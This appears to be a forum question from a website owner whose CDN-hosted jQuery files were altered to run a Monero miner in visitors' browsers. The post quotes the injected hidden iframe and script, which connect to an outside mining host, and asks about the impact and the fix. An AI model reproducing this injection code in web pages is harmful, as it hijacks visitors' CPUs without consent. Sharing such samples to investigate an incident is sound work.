I noticed that recently our website has been performing poorly and often using 100% CPU usage on users machines. After looking into this I have noticed that all of the jquery files on our CDN were edited 6 days ago and are now mining Monero client-side when people view our website.
The following iframe is being loaded on our page:
<iframe src="https://www.jqr-cdn.download/lot.html" style="width: 0px; height: 1px;"> <html> <head></head> <body> <script src="jquery-3.3.1.js"></script> <script> server = "wss://www.jqr-cdn.download:8190"; startMining("minexmr.com","winner winner chicken dinner"); </script> </body> </html>
I think this is down to our S3 being publically writable (I will need to look into this)
My questions are:
Has this just been a CPU leech, or does anything else nefarious happen through this method of attack (data harvesting etc)
Will closing our S3 and overwriting the files with genuine copies solve the problem, if so will is solve it permanently?
What is the significance of the "winner winner chicken dinner" parameter, is this a username, just a taunt or something else?